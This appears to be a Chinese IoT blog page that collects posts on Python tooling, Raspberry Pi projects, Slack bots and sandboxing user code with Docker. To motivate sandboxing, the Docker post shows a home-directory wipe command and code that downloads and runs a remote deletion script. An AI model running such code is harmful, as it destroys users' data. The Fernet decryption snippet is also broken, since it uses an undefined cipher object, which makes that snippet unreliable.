pip install -U huggingface_hub
export HF_ENDPOINT=https://hf-mirror.com
$env:HF_ENDPOINT = "https://hf-mirror.com"
huggingface-cli download --resume-download gpt2 --local-dir gpt2
部分要token的还是自己老老实实去登陆原站吧,这种方式只能用在普通的模型上面。
物联网相关的应用、开发资讯,IoT智能装置和云端结合的技术研究,新鲜事物的分享。
pip install -U huggingface_hub
export HF_ENDPOINT=https://hf-mirror.com
$env:HF_ENDPOINT = "https://hf-mirror.com"
huggingface-cli download --resume-download gpt2 --local-dir gpt2
部分要token的还是自己老老实实去登陆原站吧,这种方式只能用在普通的模型上面。
传统的真机Python+pip部署方式早已被淘汰了。
而venv虚拟部署的方式还有很多人在用,也确实比传统真机部署好很多,但也再被渐渐淘汰。
目前较为流行的一种模式是:Conda+UV的组合方式。
conda:核心是环境管理工具,负责创建隔离的虚拟环境(可包含不同 Python 版本、系统级依赖甚至非 Python 包,如 C 库)。
uv:核心是Python 包管理器,专注于快速安装 / 管理 Python 包(类似 pip,但速度更快、依赖解析更高效),本身不管理环境,而是依赖于当前激活的 Python 环境。
建议在激活 conda 环境后安装 uv,避免全局安装导致的环境混淆。
pip install uv
uv的使用例子:
uv pip install transformers==4.24.0 # 安装指定版本
uv pip uninstall jieba # 卸载包
uv sync # 同步依赖(根据 pyproject.toml 或 requirements.txt)
注意事项(避免潜在问题):
1、不混用 conda 和 uv 安装同一 Python 包
例如,不要用 conda install pandas 后再用 uv pip install pandas,可能导致版本冲突(conda 和 pip/uv 管理的包路径虽然一致,但依赖解析逻辑不同)。
transformers、jieba);numpy、opencv,conda 会自动安装对应的 C 库)。2、uv 不处理非 Python 依赖
uv 仅负责 Python 包,若包依赖系统级库(如 libssl、libffi),仍需通过 conda 或系统包管理器(apt)安装:
# 例如安装需要系统库的包,先用 conda 安装依赖 conda install -c conda-forge libsndfile # 安装音频处理的系统库 uv pip install soundfile # 再用 uv 安装依赖该库的 Python 包
3、环境迁移时需同步两者的配置
若要复制 conda 环境,除了用 conda env export,还需同步 uv/pip 管理的包(通过 uv pip freeze > requirements.txt 导出)。
uv 和 conda 是互补工具:conda 负责环境隔离和系统级依赖,uv 负责高效管理 Python 包,在 conda 环境中使用 uv 不仅安全,还能显著提升包安装速度,推荐结合使用。
国内使用建议:
/.config/uv/uv.toml
index-url = “https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple”
另外,uv也是可以直接运行py文件的。如图所示。

1. 硬件准备
2. 硬件连接
3. MicroPython编程
machine库,控制GPIO引脚输出高低电平,控制MOSFET的导通和截止。示例代码:
from machine import Pin
import time
fire_pin = Pin(15, Pin.OUT) # 点火引脚,连接到MOSFET栅极
def fire():
fire_pin.value(1) # 开启加热
print("Heating...")
def stop_fire():
fire_pin.value(0) # 关闭加热
print("Stop Heating.")
while True:
input_value = input("Enter '1' to heat, '0' to stop: ")
if input_value == '1':
fire()
elif input_value == '0':
stop_fire()
else:
print("Invalid input.")
4. 安全注意事项
5. 补充说明
HTTPS可以防止传输过程中数据被偷看,但无法阻止客户端本地的攻击。比如Json之类的文件,如果完全明文,可能会让一些黑客看到敏感信息。
是否可以对其进行一层简单的加密?
以Python为例子,用一个加密库就可以。
首先执行:pip install cryptography
然后开始编写如下代码。
from cryptography.fernet import Fernet
import json
# 生成密钥
key = Fernet.generate_key()
cipher_suite = Fernet(key)
# JSON 数据
data = {
"name": "Alice",
"age": 30,
"city": "Wonderland"
}
# 将 JSON 数据转换为字符串
json_data = json.dumps(data)
# 加密 JSON 数据
encrypted_data = cipher_suite.encrypt(json_data.encode())
print("加密后的数据:", encrypted_data)
print("密钥:", key)
它会输出:
加密后的数据: b’gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw==’
密钥: b’MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ=’
要解密的时候怎么办呢?
from cryptography.fernet import Fernet
import json
daa = b'gAAAAABmraTSlRWANyVFWRKm4CgjpoJEhyLID-ri64K3RP2yItbM-4POPid1dVh_1mWVItoSzZy-bPC_pObCCDUJ-ktuxWbi5zAcSn8VDrTiYiyqwXWvygLcBHmwToapDEDoqA6RjHQs_WeOCKAZqPnge5Q-J4xNpw=='
key = b'MvHuTCwAj3SNz93MZtI_1Ww_tHn9XVUFxyARGyGLTxQ='
decrypted_data = cipher_suite.decrypt(daa).decode()
json_data = json.loads(decrypted_data)
print(json_data)
它会输出:
{‘name’: ‘Alice’, ‘age’: 30, ‘city’: ‘Wonderland’}
以上代码使用了 Fernet 加密算法,这是对称加密的一种实现。Fernet 是一种基于 AES(高级加密标准) 的加密方案,具体来说,它使用 AES-128 在 CBC(密码分组链接)模式 下进行加密,并结合 PKCS7 填充 和 HMAC(基于哈希的消息认证码) 来确保数据的完整性和保密性。
如果你曾经想在 Raspberry Pi 5 上尝试神经网络、人工智能和机器学习的世界,树莓派这次推出了官方AI 套件。该 AI 套件是与 Hailo 合作开发的,它可将本地高效的推理能力,集成到各种应用程序中。现已上架 Raspberry Pi 的经销商网络,价格 70 美元。

Raspberry Pi AI 套件拆解
Raspberry Pi AI 套件包括我们的 M.2 HAT+ 和 Hailo-8L AI 加速器模块。AI 套件安装在 Raspberry Pi 5 上,可让你快速构建复杂的 AI 视觉应用程序,实时运行。具有低延迟和低功耗要求。用于对象检测、语义和实例分割、姿态估计和面部识别(仅举几例)的先进神经网络完全在 Hailo-8L 协处理器上运行,使 Raspberry Pi 5 CPU 可以自由地执行其它任务。
Raspberry Pi AI 套件的主要功能包括:

搭载AI Kit的树莓派5
Hailo创建了一个庞大的模型库,用户可以在这里找到各种各样的预训练神经网络模型,可以在AI Kit上部署和优化。
地址:
https://github.com/hailo-ai/hailo_model_zoo/tree/master/docs/public_models/HAILO8L
软件方面
最新版本的 Raspberry Pi OS 会自动检测 Hailo 模块,因此操作系统和利用该模块的应用程序可以立即使用它。rpicam-apps 套件现在有一个后处理模板,用于在摄像头管道中集成实时运行的神经网络推理。
“通过使用预安装的 Hailo Tappas 后处理库,仅几百行 C++ 代码就能创建基于 AI 的高级应用程序。类似级别的集成到我们的 Picamera2 框架中很快就会实现。”
除了可以在 rpicam-apps 或 Picamera2 中使用 Hailo-8L 协处理器外。Raspberry Pi AI Kit 中还打包了集成在 GStreamer 框架和本地 Python 或 C/C++ 应用程序中的 API。包括非摄像机用例,例如在预先录制的视频文件上运行推理。

近看Hailo模块
软件安装步骤非常简单。通过apt安装几个软件包,重新启动,你就可以在几分钟内尝试我们的一些AI演示。完整的说明可以在我们的入门指南中找到。下面是我们的一些演示的预览,你可以通过rpicam-apps运行。
详细步骤:
https://www.raspberrypi.com/documentation/accessories/ai-kit.html#getting-started
有了树莓派AI Kit,你不但可以在picam-apps或Picamera2中使用Hailo-8L协处理器。树莓派还打包了一个集成在GStreamer框架和本地Python或C/C++应用程序中的API。这包括非相机用例,例如在预先录制的视频文件上运行推理。
原作:Sandeep Mistry
编译:IoT前哨站
Slack是一款在线协作软件,可以让你与团队成员进行聊天、文件传送、语音/视频通话等功能。Slack还可以整合多种工具和服务,如电子邮件、Google Drives、Twitter、Trello等,以提高工作效率和自动化任务。Slack是世界各地公司和个人的首选平台,拥有超过20万付费客户和77个财富100强企业的使用者。它有App方便大家在手机或平板电脑上使用。
这次要实现的树莓派Pico W远程控制机器人,简单来说,就是我们在手机上用Slack发消息,指挥Pico W帮我们干活。

Slack 的 chat.postMessage API 可将消息从开发板发送到 Slack 频道。Slack 为应用和机器人提供了一个事件 API,用于响应 Slack 上的活动。由于开发板不能从公共互联网直接访问,因此无法使用公共 HTTP webhook。我们必须使用Slack 的Socket Mode。Socket Mode使应用和机器人能够使用动态的WebSocket 接收事件。动态套接字连接的URL可以通过Slack的apps.connections.open API获取。
Pico W与Slack API 接收事件和发送消息的通信机制:

要完成上述操作,你必须先有Slack令牌。
在 Web 浏览器中,访问 https://api.slack.com/apps 并使用您的 Slack 凭据登录。单击“创建新应用”按钮。

单击“从头开始”选项。

输入应用程序的名称(例如“Pico W”),为应用程序选择一个工作区,然后单击“创建应用程序”按钮。

单击左侧的“Socket Mode”部分,然后单击切换到“启用Socket Mode”。

输入应用级令牌的“Token Name”,例如“Pico W app”,然后单击“生成”按钮。

生成并显示应用级令牌,复制该值并保存以备将来使用,然后单击“完成”按钮。

单击左侧的“OAuth 和权限”部分,向下滚动到“Scopes”部分,然后单击“添加 OAuth 范围”按钮。

添加“app mention:read”权限。

添加“chat:write”权限。

单击左侧的“事件订阅”部分,然后单击“启用事件”开关。

展开“订阅bot事件”部分并单击“添加bot用户事件”按钮。

选择“app_mention”。

点击右下角的“保存更改”按钮。

点击左侧的“基本信息”部分,然后点击“请求安装”按钮。

填写“简短描述”,选择“背景颜色”,点击“保存更改”按钮

工作区管理员可以批准申请。然后转到“基本信息”部分,单击“安装到工作区”按钮。

安装完成后,单击左侧的“OAuth & Permissions”部分,滚动到“工作区的OAuth Token”部分,然后复制“Bot User OAuth Token”值并保存以供将来参考。

现在你有了一个应用程序级别的令牌值和一个Slack应用程序的Bot用户OAuth令牌值,可以在Raspberry Pi Pico W板上使用。
MicroPython 为许多基于 Arm Cortex-M 的微控制器提供 Python 3 实现,包括 Raspberry Pi Pico W 板上的 Raspberry Pi RP2040。
Thonny IDE 将用于安装 MicroPython 并将代码上传到 Raspberry Pico W 板。从 Thonny 主页下载适用于您的计算机的操作系统 (OS) 专用版本的 Thonny。在撰写本指南时,Thonny 4.1.2 是最新版本。

用Thonny刷好MicroPython以后,将 GitHub 中的代码下载到计算机上的文件夹。
相关代码:
https://github.com/IoToutpost/example-of-a-slackbot-for-pico-w

打开 Raspberry Pi Pico W 板上的 config.py 文件,填写 Wi-Fi 网络的 SSID 和密码,以及之前配置的 Slack 应用和机器人令牌。

打开树莓派Pi Pico W板上的 main.py 文件,然后按绿色的播放按钮运行应用程序。如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

基于 C 语言的 Slack 机器人
对于 C 版本,以下库将与 pico-sdk 一起使用:
使用 Raspberry Pi 的 Pico SDK 和所需的工具链设置您的计算机。有关更多信息,请参阅 Raspberry Pi Pico 入门指南。
在终端窗口中,设置 PICO_SDK 环境变量:
export PICO_SDK_PATH=/path/to/pico-sdk
将目录更改为下载示例代码的位置,然后将目录更改为文件夹:pico-sdk
cd path/to/example-of-a-slackbot-for-pico-w
cd pico-sdk
创建一个构建目录,并将目录更改为该目录:
mkdir build
cd build
使用你的 Wi-Fi SSID 和密码以及 Slack 应用和机器人令牌运行,然后运行以编译应用程序:cmakemake
cmake .. -DPICO_BOARD=pico_w -DWIFI_SSID="<WIFI SSID>" -DWIFI_PASSWORD="<Wi-Fi Password" -DSLACK_APP_TOKEN="<Slack App Token>" -DSLACK_BOT_TOKEN="<Slack Bot Token>"
make
按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。
将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2
按住 Pico 板上的 BOOTSEL 按钮,同时使用 USB 电缆将板插入计算机。
将文件复制到挂载的Raspberry Pi Pico启动ROM磁盘:picow_slack_bot.uf2
cp -a picow_slack_bot.uf2 /Volumes/RPI-RP2/.
使用串行监视器应用程序(如屏幕)查看主板的 USB 串行输出,将 /dev/cu.usbmodem00000000000001 替换为主板的路径:
screen /dev/cu.usbmodem0000000000001
如果一切配置正确,开发板现在将连接到您的 Wi-Fi 网络,然后连接到 Slack。

测试应用程序
在计算机上打开 Slack,并创建一个新的测试频道。在信息输入窗口中输入,然后点按绿色按钮或按回车键发送。@<name of Slack app> LED on

由于 Pico W 不在频道中,系统将提示您添加它们。点击“邀请他们”按钮。

被邀请后,开发板将点亮 LED, 然后回复消息告知状态。您也可以尝试发送消息以关闭 LED。@<name of Slack app> LED off

本指南介绍了通过Raspberry Pi Pico W上运行MicroPython和C应用程序,来与Slack API发送和接收消息。
示例应用程序代码可以接收并处理消息文本,以控制板载 LED,然后将 LED 的当前状态告知用户。
你可以在自己的Raspberry Pi Pico W上尝试一下,然后在示例代码的基础上构建更多功能,从而将 Slack 扩展到物理世界。
作者:kingname
写后端的同学,有时候需要在网站上实现一个功能,让用户上传或者编写自己的Python代码。后端再运行这些代码。
涉及到用户自己上传代码,我们第一个想到的问题,就是如何避免用户编写危险命令。如果用户的代码里面涉及到下面两行,在不做任何安全过滤的情况下,就会导致服务器的Home文件夹被清空。
import os
os.system('rm -rf ~/*')
有人想的比较简单,直接判断用户的代码里面有没有os.system、exec、subprocess……这些危险关键词不就可以了吗?
这种想法乍看起来没有问题,但细想下,就会发现非常天真。如果用户的代码像下面这样写,你又要如何应对?
import requests
code = requests.get('https://www.kingname.info/dangerous_code').text
with open('dangerous_code.py', 'w') as f:
f.write(code)
dangerous_module = import('dangerous_code')
danderous_module.delete_all()
其中https://www.kingname.info/dangerous_code对应的代码如下:
import os
def delete_all():
os.system('rm -rf ~/*')
这样就可以绕过关键字检查,并成功删除你的文件了。
如果你的网站本身就是一个爬虫管理平台,你检查用户自定义的代码时,肯定不能过滤掉requests这种网络请求库。那么你就很难判断用户下载下来的东西是否包含恶意代码。
而且恶意代码不一定是删除你的东西,它完全可以直接把你项目下面的所有代码打包,上传到它指定的URL中,这样就能窃取你网站里面所有代码。
为了避免这样的情况发生,我们就必须找一个干净又独立的环境来运行用户的代码。干净的环境能确保恶意代码没有东西可以偷,独立的环境能确保他即使删除了所有文件,也不会影响到你。
显然,最简单直接的办法,就是使用Docker来运行用户的代码。而使用Docker并不一定需要在终端使用Shell命令。我们可以使用Docker的Python SDK来实现构建镜像和运行镜像。
首先,确保你的服务器上面已经有Docker,并且正在运行。
接下来,安装Docker SDK:
pip install docker
假设,你把用户上传的文件放在了user/<user_id>/upload文件夹下面。
那么,首先你需要生成一个Dockerfile,并把这个Dockerfile放到upload文件夹中:
from python:3.10
run pip install -r requirements.txt
copy . /app
workdir /app
当用户添加/修改了第三方库时,你只需要更新requirements.txt即可让镜像里面的依赖符合用户的需求。
接下来,我们开始构建镜像并运行代码:
import docker
client = docker.from_env()
client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定义
container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他参数)
这个代码运行以后是非阻塞的,会立刻返回container对象。当你想查看代码日志时,执行:
container.logs(tail=10) # 显示最后10行日志
就可以看到相关的日志了。
关于Docker SDK的更多操作,可以看他的官方文档:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]
[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python
“你好,我的名字是……”
人们参加沙龙或者酒会的时候,经常要对别人口述自己的名字和职业。
如果可以用电子墨水,以像素化的形式显示他们的名字和脸时,相信能节约很多时间。
创客Josh King做的这个PiE-Ink电子墨水名片,就很有意思。
在他的Instructables教程中,他解释了完整的方法。

对于徽章,Josh使用了Raspberry Pi Zero,PaPiRus 2“电子墨水HAT,Adafruit Powerboost 1000c和LiPo电池。他还用到了其它配件,例如磁铁和粘土。
Josh把树莓派Zero和Powerboost通过焊接连在一起,并允许LiPo电池为设备供电。

然后,他连接PaPiRus HAT并用粘土固定整个装置,以确保紧密贴合。他还加了一个迷你滑动开关。

在SD卡上预装Raspbian后,Josh遵循PaPiRus的设置,确保所有库文件都装好,并且让树莓派识别2英寸屏幕。
然后下载代码,运行……
注:你可以直接从Josh的GitHub帐户下载相关代码。记得将图像缩小到 200×96 才能使其适合电子墨水屏幕。

有了它,你就可以在各种活动和会议上让大家快速认识你了。
如果你想用树莓派Pico做电子墨水名片的话看这里:
Stable Diffusion是一种文本到图像生成的大型深度学习模型,它可以根据文本的描述生成详细的图像,也可以用于其他任务,如图像修复、图像扩展、图像翻译等。

它是基于潜在扩散模型(Latent Diffusion Model)的一种变体,通过对图像添加和去除噪声来训练和生成图像。
该模型由Stability AI和LAION联合开发,目前是一个开源的AI平台,有很多用户和开发者贡献了不同的预训练模型和插件。
一般情况下,跑Stable Diffusion需要的配置:最好是有英伟达(Nvidia)的独立显卡,显存不少于4GB,推荐8GB以上;内存8GB以上,推荐16GB或以上;硬盘40GB以上的可用空间,最好是固态硬盘;操作系统支持Windows 10/11,macOS(仅限Apple Silicon或更新版本),Linux等。
但最近有人在树莓派Zero 2上运行Stable Diffusion了,而树莓派 Zero 2 只是内存512MB 的单板计算机。

它的配置和规格如下:
Raspberry Pi Zero 2 W的尺寸是65mm × 30mm,与原来的Raspberry Pi Zero一样。它的性能比原来的单核Raspberry Pi Zero提高了五倍。一般用于智能家居、物联网等项目。
为了让更多低配置的计算机也能用Stable Diffusion出图。
一个名为vitoplantamura的开发者决定写一个超小的推理库,让260MB内存的单板机也能将Stable Diffusion跑起来。终于,他成功了。
他用C++开发的OnnxStream,是一个能够在低内存设备上运行 Stable Diffusion 的推理库,它通过分离推理引擎和权重提供器,以及量化等技术,完成了在树莓派 Zero 2 上生成图像的挑战。
与微软的OnnxStream 相比,vitoplantamura的OnnxStream 只需要消耗 1/55 的内存就可以达到同样的效果,但(在 CPU 上的)速度只比前者慢 0.5-2 倍。
虽然运行速度较慢,但它却是大模型在更小、更有限的设备上部署的崭新尝试。
相关源码: